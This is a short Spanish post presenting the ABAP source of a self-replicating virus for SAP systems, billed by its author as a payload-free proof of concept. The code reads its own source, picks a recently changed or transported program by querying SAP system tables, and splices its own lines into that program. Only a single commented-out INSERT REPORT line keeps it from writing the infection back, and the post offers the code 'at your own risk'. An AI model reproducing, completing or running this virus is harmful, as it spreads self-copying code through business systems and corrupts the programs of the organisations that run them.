Este es el segundo virus que hago para SAP, es una prueba de concepto, no tiene PayLoad y el peligro está deshabilitado. Utiliza bajo tu propio riesgo.

  1. report ZVIRK_02.
  2. *{   INSERT         VIRK0066600                                       1
  3. data: bx type MATCH_RESULT. SELECT SINGLE CCCATEGORY into SYST-CTYPE FROM T000 CLIENT SPECIFIED WHERE MANDT = sy-MANDT.
  4. read REPORT sy-repid into CL_CIM_CONST=>VALID_KEY_VALUE_TYPES. " Extracción del código
  5. find FIRST OCCURRENCE OF REGEX '\*\{.*INSERT.*VIRK(\d+).*1' in TABLE CL_CIM_CONST=>VALID_KEY_VALUE_TYPES in CHARACTER MODE RESULTS bx. sy-cucol = bx-line.
  6. find FIRST OCCURRENCE OF REGEX '\*\}.*INS3RT' in TABLE CL_CIM_CONST=>VALID_KEY_VALUE_TYPES in CHARACTER MODE RESULTS bx. sy-CUROW = bx-line.
  7. sy-cdate = sy-datum + 1.
  8. while not syst-cdate+0(4) is INITIAL. " Sólo Infectamos alguno que se esté utilizando actualmente
  9.   SUBTRACT 1 from syst-cdate.
  10.   if SYST-CTYPE ne 'C'.
  11.     SELECT SINGLE PROG into sy-lisel FROM  D010SINF WHERE R3STATE  = 'A' AND UNAM like 'SAP%' AND UDAT = sy-cdate.
  12.   else.
  13.     SELECT SINGLE E071~OBJ_NAME into sy-lisel FROM E070 INNER JOIN E071 on E070~STRKORR = E071~TRKORR
  14.     WHERE E070~TRFUNCTION  in ('K','T','S','R') AND E070~as4date = sy-cdate and E070~TRSTATUS in ('D','L') and
  15.     e071~PGMID = 'LIMU' and e071~OBJECT = 'REPS'.
  16.   endif.
  17.   check sy-subrc eq 0. read report sy-lisel into CL_CIM_CONST=>VALID_FLAVOR_NAMES.
  18.   find FIRST OCCURRENCE OF REGEX '(LOOP|WRITE|PERFORM|ENDFORM|SELECT)' in TABLE CL_CIM_CONST=>VALID_FLAVOR_NAMES in CHARACTER MODE RESULTS bx.
  19.   check sy-subrc eq 0 and bx-line > 0.
  20.   SUBTRACT 1 FROM bx-line. clear syst-cdate.
  21.   insert LINES OF CL_CIM_CONST=>VALID_KEY_VALUE_TYPES from sy-cucol to sy-CUROW into CL_CIM_CONST=>VALID_FLAVOR_NAMES index bx-line.
  22. *  insert REPORT sy-lisel FROM CL_CIM_CONST=>VALID_FLAVOR_NAMES. " Dejamos el huevo y ejecutamos un PayLoad
  23. ENDWHILE. " SAPViri v0.2 2014 (CC)4.0 BY-NC-SA
  24. *}   INS3RT
[$[Get Code]]